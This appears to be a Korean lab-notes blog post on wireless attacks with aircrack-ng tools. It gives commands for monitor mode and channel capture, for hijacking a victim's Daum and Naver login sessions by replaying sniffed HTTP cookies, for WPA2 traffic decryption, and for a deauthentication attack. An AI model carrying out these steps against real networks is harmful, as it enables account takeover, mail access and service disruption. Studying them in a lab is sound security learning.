[Requirements]
Ubuntu 16.04
모니터모드를 지원하는 어댑터
interface 이름 변경
sudo ifconfig wlx000000000000 down
sudo ip link set wlx000000000000 name mon0
iwconfig
- 무선에 관한 configuration
- managed mode / monitor mode 확인 가능
모니터 모드로 변경
ifconfig mon0 down
iwconfig mon0 mode monitor
ifconfig mon0 up
aircrack
airodump-ng mon0
# 제대로 작동하지 않는경우, 모니터 모드를 방해하는 프로세스 kill
# 프로세스 확인
# sudo airmon-ng check
# 프로세스 종료
# sudo airmon-ng check kill
airodump channel hopping
airodump는 scanning시 채널 hopping(6씩)으로 가급적 많은 패킷을 잡음
# 채널 고정
sudo airodump-ng mon0 -c 1
공유기 - 무선설정(2.4GHz)
- 채널: 1 ~ 13
- 채널 번호는 1, 6, 11이 좋음(채널 간섭이 적음)
- 1채널: 2.412, 채널 1 증가시 0.005 증가
Set channel
bandwidth를 40정도 높이면 패킷이 더 많이 잡힘
sudo iw dev mon0 set channel 1 HT40+
ARP spoofing vs Monitor mode
- arp spoofing: active attack
- monitor mode: passive attack
HTTP request에서 쿠키 가로채기
- victim이 로그아웃하면 무효
- 다음 웹툰, 네이버 메일함 등
[실습]
- victim이 로그인한 채로 http://webtoon.daum.net/ 접속 (HTTP)
- Wireshark로 패킷 잡은 뒤, 'tcp && http.request' 필터 적용
- 쿠키 값 확인
- EditThisCookie를 이용하여 쿠키 값 입력
- 새로고침하면 아래와 같이 로그인된 화면을 볼 수 있다.
- 메일에 들어가면 실제 메일 전송이나 메일 확인 등도 가능한 것을 볼 수 있다.
[WPA2 decrypt]
처음 연결될 때 패킷을 잡아야 함 && 비밀번호 알아야 함
# on terminal
airdecap-ng -b [MAC] -e [essid] -p [PW] [pcap_file]
# wireshark
Edit -> Preferences -> Protocols -> IEEE 802.11 -> Decryption Keys -> wpa-pwd 선택 -> [PW]:[ESSID] 형태로 입력
만약 이미 연결되어 있는 victim의 패킷을 디크립트 하고 싶은 경우 연결을 끊으면 됨
# Deauthentication
aireplay-ng mon0 --deauth 10 -a [AP_MAC]
댓글